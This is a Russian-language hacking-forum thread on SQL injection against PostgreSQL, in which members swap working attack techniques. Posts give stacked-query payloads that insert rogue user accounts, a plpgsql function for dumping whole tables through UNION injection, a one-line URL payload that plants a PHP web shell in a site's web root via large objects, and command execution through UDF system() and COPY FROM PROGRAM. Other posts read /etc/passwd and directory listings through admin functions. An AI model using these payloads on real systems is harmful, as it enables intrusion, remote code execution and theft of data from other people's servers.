Авторские статьи Проведение SQL-Injection в PostgreSQL

Discussion in 'Статьи' started by Spyder, 15 Mar 2007.

  1. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    в его случае права у юзера полные
    просто там база данных находится на другом сервере
    если права usesuper то работает всегда
     
  2. Insane bboy

    Insane bboy New Member

    Joined:
    11 Jul 2009
    Messages:
    52
    Likes Received:
    3
    Reputations:
    0
    пытаюсь зарегать нового юзера
    таблица user колонки login и passwd

    пробую так:
    id=27;INSERT INTO user(login) VALUES ('значение логина');
    выдает ошибку типа поле пароль пустое(ну правильно, логично)
    как сделать запрос чтоб сразу заполнить два поля(логин и пароль)?

    сам спросил, сам и отвечаю
    в моем случае ...=3;INSERT+INTO+users+(id,login,pass)+VALUES+(3, сюда логин, сюда пасс,);--
     
    #22 Insane bboy, 24 Aug 2009
    Last edited: 24 Aug 2009
  3. Ded MustD!e

    Ded MustD!e Banned

    Joined:
    23 Aug 2007
    Messages:
    392
    Likes Received:
    694
    Reputations:
    405
    Небольшое дополнение в тему создания функций.

    1. В PostgreSQL < 8.1 есть возможность добавить функцию из библиотеки:

    Создаем таблицу stdout с колонками id,system_out.
    Создаем функцию system().
    Выполняем произвольную команду и записываем результат её выполнения в /tmp/test.
    Копируем данные из /tmp/test в таблицу stdout.
    Выводим данные на экран.
    2. Чуть подругому через plperl:

    Создаем язык, если он не был создан.
    Создаем функцию proxyshell().
    Выполняем команду и выводим на экран.
    3. И напоследок через plpython:

    Создаем функцию proxyshell().
    Наслаждаемся выполнением команд)
     
    2 people like this.
  4. Dr.Frank

    Dr.Frank Elder - Старейшина

    Joined:
    31 Jul 2002
    Messages:
    301
    Likes Received:
    72
    Reputations:
    12
    У меня просьба(а если кто-то уже знает ответ, то вопрос): можно ли при чтении файлов вместо '/etc/passwd' писать chr(47)||chr(101)||chr(116)||chr(99)||chr(47)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(100) по аналогии с mysql?
    А если никто не знает, то просьба тем, у кого есть возможность(типа рут привелегии или т.п.), проверить такой способ, т.к. у меня не получилось =/
    Первоначальный вариант не подошел, т.к. кавычки экранируются.
     
  5. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    если версия >8.0, то можно так
    $$/etc/passwd$$
     
    2 people like this.
  6. pampom

    pampom Elder - Старейшина

    Joined:
    23 Apr 2008
    Messages:
    33
    Likes Received:
    5
    Reputations:
    0
    откуда такая инфа можна пример?
     
  7. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    http://www.postgresql.org/docs/8.4/static/sql-syntax-lexical.html
    http://www.postgresql.org/docs/8.4/static/release-8-0.html

    какой тебе пример нужен? скулю показать где это работает?
     
    #27 Spyder, 7 Sep 2009
    Last edited: 7 Sep 2009
  8. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    Прощай лимит

    Если у нас установлен процедурный язык plpgsql
    Code:
    select lanname from pg_language where lanname='plpgsql'
    Можно не замарачиваться с лимитом и вывести содержимое таблицы одним запросом
    Для этого создаем функцию

    Code:
    CREATE OR REPLACE FUNCTION getall (text,text,text,text,text) RETURNS text AS $func$
    DECLARE 
    		schema 		ALIAS FOR $1;
    		table 			ALIAS FOR $2;
    		column1 		ALIAS FOR $3;
    		column2 		ALIAS FOR $4;
    		column3		ALIAS FOR $5;
    		count 			int;
    		i 			int;
    		temp			text;
    		int_test 			text;
    		input_refc 		refcursor;
    BEGIN 
    		int_test := $qr$Result : $qr$;
    		OPEN input_refc FOR EXECUTE $qr$SELECT count($qr$ || quote_ident(column1) || $qr$) from $qr$ || quote_ident(schema) || $qr$.$qr$ || quote_ident(table);
    		FETCH input_refc into count;
    		CLOSE input_refc;
    		count := count - 1;
    		BEGIN 
    				FOR i in 0..count LOOP 
    						OPEN input_refc FOR EXECUTE $qr$SELECT $qr$ || quote_ident(column1) || $qr$||chr(58)||$qr$ || quote_ident(column2) || $qr$||chr(58)||$qr$ || quote_ident(column3) || $qr$||$sep$<BR>$sep$ FROM $qr$ || quote_ident(schema) || $qr$.$qr$ || quote_ident(table) || $qr$ LIMIT 1 OFFSET $qr$ || i;
    						FETCH input_refc into temp;
    						CLOSE input_refc;
    						int_test := int_test || temp;
    						END LOOP;
    						RETURN int_test;
    		END;
    END;
    $func$ LANGUAGE plpgsql;
    
    

    Функция getall() получает 5 параметров
    1 - имя базы
    2 - имя таблицы
    3,4,5,6 - имена колонок
    Функция ориентирована на использование в конструкции Union, т.к разделителем выступает тег <br>
    екземпл
    id=-1 union select getall('information_schema','columns','column_name','table_name','table_schema')
     
    #28 Spyder, 14 Sep 2009
    Last edited: 14 Sep 2009
    5 people like this.
  9. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    GROUP_CONCAT() в PostgreSQL
    Code:
    SELECT array_to_string(array(SELECT field FROM table), ', ');
    
     
    3 people like this.
  10. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Вариант заливки шелла

    Заливка шелла через большие объекты (large objects).
    1. Создаем LO.
    Code:
    dbname=# SELECT lo_create(-1);
    
    Запрос вернет идентификатор типа 4294967295. Это id созданного LO.
    2. Подготовим шелл и пропишем его в БД
    Code:
    dbname=# UPDATE pg_largeobject SET data = '<?php passthru($_GET[cmd]); ?>' WHERE loid = 4294967295;
    
    3. Экспортируем код во внешний файл
    Code:
    dbname=# SELECT lo_export(4294967295, '/var/www/public_html/uploads/shell.php');
    
    Шелл залит. Осталось удалить LO из БД
    Code:
    dbname=# SELECT lo_unlink(4294967295);
    
    Все это можно заюзать в одной строке
    Code:
    http://site.com/index.php?id=1;select+lo_creat(37337);update+pg_largeobject+set+data=$$some_code$$+where+loid=37337;select+lo_export(37337,$$some_file$$);select+lo_unlink(37337);--
    
    Для заливки также требуются права usesuper

    PS. Ну и случайно нашел. На запрос типа
    Code:
    http://site.com/index.php?id=1+and+1=(select+*+from+sometable+as+q(a,b,c,d,e,f))
    
    вывалится ошибка
    Code:
    ERROR:  table "q" has 5 columns available but 6 columns specified
    ERROR:  у таблицы "q" колонок доступно: 5, но указано: 6
    
    если в таблице sometable 5 колонок (в запросе указано 6). При указании количества <= 5 будет ошибка
    Code:
    ERROR:  subquery must return only one column
    ERROR:  подзапрос должен вернуть только одну колонку
    
    Возможно, пригодится как альтернативный вариант подбора количества колонок в таблице
     
    7 people like this.
  11. l1ght

    l1ght Elder - Старейшина

    Joined:
    5 Dec 2006
    Messages:
    191
    Likes Received:
    678
    Reputations:
    333
    с версии 8.2 этот вектор больше не работает
    Code:
    CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE C STRICT;
    Code:
    ERROR:  incompatible library "xxx.so": missing magic block
    HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.
    можно собрать udf либу самому (обязательно компилить с той же версией pg!)
    Code:
    https://github.com/sqlmapproject/udfhack/blob/master/linux/lib_postgresqludf_sys/lib_postgresqludf_sys.c
    у sqlmap-а есть готовые версии в репозитарии
    Code:
    https://github.com/sqlmapproject/sqlmap/tree/master/udf/postgresql/
    но они косячные, не инсталятся, вот заметка на эту тему
    Code:
    http://www.jianfensec.com/postgresql_getshell.html

    так же в версии 9.3 появился альтернативный доступ к башу
    Code:
    https://www.postgresql.org/docs/9.3/sql-copy.html
    Code:
    COPY table FROM PROGRAM 'id;uname -a'
     
  12. Baskin-Robbins

    Baskin-Robbins Reservists Of Antichat

    Joined:
    15 Sep 2018
    Messages:
    239
    Likes Received:
    809
    Reputations:
    212
    Вывод из pg_catalog.

    Колонки
    Code:
    select attname from pg_catalog.pg_attribute where attrelid=(select oid from pg_catalog.pg_class where relname='pg_proc') AND attnum>0
    
    pg_attribute
    • attname - названия колонок
    • attrelid - идентификатор таблицы
    • attnum - порядковый номер колонки, системные имеют отрицательное значение
    pg_class
    • oid - идентификатор таблицы
    • relname - имя таблицы
    БД
    Code:
    select distinct schemaname from pg_catalog.pg_tables
    
     
    seostock likes this.
  13. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    231
    Likes Received:
    601
    Reputations:
    145
    Среди функций администратора https://www.postgresql.org/docs/current/functions-admin.html
    пара функций может пригодиться пентестеру.

    Посмотреть листинг каталога, или прочитать файл.

    Code:
    select * from pg_ls_dir('/etc/nginx/sites-enabled/');
    select * from pg_read_file('/etc/passwd');
    select * from pg_read_binary_file('/etc/passwd');
    Доступны они, если есть права суперпользователя.

    ==

    Иногда нужно посмотреть текст запроса, где срабатывает SQLi, чтобы отладить начинку, с этим поможет функция:
    Code:
    current_query()
    тут дополнительные права не нужны.
     
    Baskin-Robbins and b3 like this.